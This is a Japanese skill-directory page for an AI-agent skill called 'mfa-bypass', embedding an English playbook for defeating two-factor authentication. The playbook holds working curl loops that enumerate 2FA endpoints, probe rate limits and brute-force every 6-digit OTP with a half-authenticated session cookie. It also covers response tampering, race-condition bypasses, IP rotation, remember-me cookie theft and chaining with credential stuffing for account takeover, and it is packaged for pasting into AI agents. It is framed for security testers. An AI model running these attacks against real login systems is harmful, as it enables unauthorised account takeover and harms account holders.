mfa-bypass
できること
このスキルは、2段階認証が失敗する仕組みを説明します。応答の改ざん、弱いレート制限、2つ目の確認を飛ばすリセットの流れなどが含まれます。セキュリティテスター向けです。
使う場面
- ✓サイトがワンタイムコードや2段階認証を使っており、テストしたいとき。
- ✓セキュリティレビューで、2段階認証にレート制限やロックアウトがあるか確認するとき。
- ✓パスワードの再設定や、端末を記憶する機能で、2つ目の確認が省略されていないか確かめたいとき。
スキルのリンク
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/mfa-bypass/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“ログインページの2段階認証コードを、多くのコードを試して推測できないか確認してください。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントは2つ目の確認が必要な手順を整理し、誤ったコードを送って制限がかかるかを見ます。さらに、再設定やログイン状態の保持などの流れで、確認が飛ばされていないかを調べます。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
MFA / 2FA Bypass Playbook
Logic flaws in the second factor are pure ATO. Common because devs ship the happy path (enter code → success) and forget the negative paths: response tampering, brute force, replay, race, alternate flows, remembered devices.
1. Detection — map the 2FA surface
Enumerate every flow that should require a second factor:
# 1. Inventory paths involved in step-up
for p in /login /login/2fa /api/2fa/verify /mfa/verify /account/security \
/account/email /account/password /password/reset /password/reset/confirm \
/oauth/authorize /api/session /api/session/elevate /backup-codes; do
curl -s -o /dev/null -w "%{http_code} $p\n" "https://<TARGET>$p"
done
# 2. Submit a wrong OTP — what does the response look like?
curl -s -i -X POST "https://<TARGET>/api/2fa/verify" \
-H 'Content-Type: application/json' -H "Cookie: session=<HALF_AUTHED>" \
-d '{"code":"000000"}'
# 3. Rate-limit probe — burst 20 wrong codes
for i in $(seq 1 20); do
printf '%s ' "$(curl -s -o /dev/null -w '%{http_code}' -X POST \
"https://<TARGET>/api/2fa/verify" -H 'Content-Type: application/json' \
-H "Cookie: session=<HALF_AUTHED>" -d "{\"code\":\"$(printf '%06d' $i)\"}")"
done; echo
# If no 429 / lockout → brute force is open
2. Flaw matrix
| Class | Symptom | Bypass |
|---|---|---|
| Response manipulation | server returns {"success":false} but client trusts it |
intercept → flip to true |
| Status-code tamper | 401 vs 200 only checked client-side | rewrite 401 → 200 in proxy |
| Flag tamper | mfa_required=true in JWT/JSON |
edit to false, resign / unsigned alg |
| No rate limit | unlimited wrong OTPs | 6-digit OTP = 10⁶ — brute over hours |
| Per-IP limit only | limit on attacker IP, not on user | rotate IPs / X-Forwarded-For |
| OTP reuse | same code valid after use | replay last code in a new session |
| OTP no expiry | code from yesterday still works | mine old SMS / email |
| Predictable OTP | seeded by userid/timestamp |
precompute |
| Backup-code abuse | unlimited tries, codes never expire / not invalidated | brute backup codes endpoint |
| Race condition | two requests in flight — both succeed | parallel POSTs (HTTP/2 single-packet attack) |
| Missing 2FA on flow | /login enforces, /api/login does not |
use alternate endpoint |
| Missing 2FA on password change | password change re-enables full session | reset → skip 2FA |
| Password reset skips 2FA | reset token logs you in without 2FA | abuse reset link |
| OAuth / SSO skips 2FA | social login returns a fully-authed session | login via Google instead |
| Remember-me cookie | persistent cookie skips 2FA forever | steal remember-me via XSS / log leak |
| Direct object access | /api/account works on half-authed session |
call protected APIs pre-2FA |
| Enrollment race | attacker enrolls own TOTP for victim before victim does | hit /2fa/enroll first post-login |
| Recovery channel takeover | SMS → SIM swap, email → email ATO | downstream factor compromise |
3. Exploit PoC
3.1 Brute-force a 6-digit OTP (no rate limit)
COOKIE='session=<HALF_AUTHED>'
for i in $(seq 0 999999); do
CODE=$(printf '%06d' $i)
CODE_LEN=${#CODE}
RES=$(curl -s -o /dev/null -w '%{http_code}' -X POST \
"https://<TARGET>/api/2fa/verify" -H 'Content-Type: application/json' \
-H "Cookie: $COOKIE" -d "{\"code\":\"$CODE\"}")
[ "$RES" = "200" ] && { echo "HIT: $CODE"; break; }
(( i % 1000 == 0 )) && echo "tried $i ..."
done
3.2 Response-flip bypass
# Original server response
HTTP/1.1 200 OK
{"success":false,"mfa":"required"}
Rewrite at the proxy:
HTTP/1.1 200 OK
{"success":true,"mfa":"passed"}
If the SPA only inspects JSON to decide navigation, session cookie is already full-authed server-side and the redirect succeeds.
3.3 Direct post-2FA endpoint access
# Half-authed cookie after username+password, BEFORE OTP
curl -s "https://<TARGET>/api/account" -H "Cookie: session=<HALF_AUTHED>"
# If it returns full account data → broken step-up.
3.4 Race condition (HTTP/2 single-packet)
# Use Turbo Intruder "single-packet attack" — fire ~30 verify requests with the
# *correct* OTP in one TCP packet; servers that decrement attempts non-atomically
# accept multiple, and 2FA-disable mutations slip through.
4. Chains
- MFA bypass → ATO is itself the chain endpoint. Pair with credential stuffing for scale.
- Password reset skips 2FA → ATO
よくある質問
ここで応答の改ざんとはどういう意味ですか?
成功フラグなどのサーバーの応答を書き換え、有効なコードがなくてもアプリが先に進むかを確かめることです。
推測の回数制限も確認しますか?
はい。誤ったコードを一度に大量に送り、レート制限やロックアウトが働くかを確認します。
レースコンディションも扱いますか?
はい。2段階認証が失敗する原因の1つとして、レースコンディションが挙げられています。
詳細
作者による元の説明
2FA / OTP logic flaws — response & status tampering, brute force, OTP reuse, backup-code abuse, race conditions, missing-2FA on flows, remember-me bypass, password-reset skips 2FA.
人気
- GitHubのスター
- 6.5k
- ランキング
- #14071
- ライセンス
- Apache-2.0
- 更新日
- 2026/11/1
コメント
- …
このリポジトリの他のスキル
detector-overview
6.5kエージェントが、スキャナーが指摘したコードを読み、本物のセキュリティバグと誤検知を見分けられるよう支援します。
exploiter-overview
6.5kエージェントが、確認済みの複数のセキュリティ上の弱点を一つのテストの連鎖にまとめ、その影響がどこまで及ぶかを確認できるよう支援します。
llm-redteam-overview
6.5kエージェントが、プロンプトインジェクションからモデルの悪用まで、15の戦術グループの中から適切なAIレッドチーム用ガイドを見つけられるよう支援します。
aatmf-t01-prompt-injection
6.5kプロンプトインジェクションを説明します。隠された指示でAIシステムを乗っ取ろうとする手口を、セキュリティテスターが確認できるようにします。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。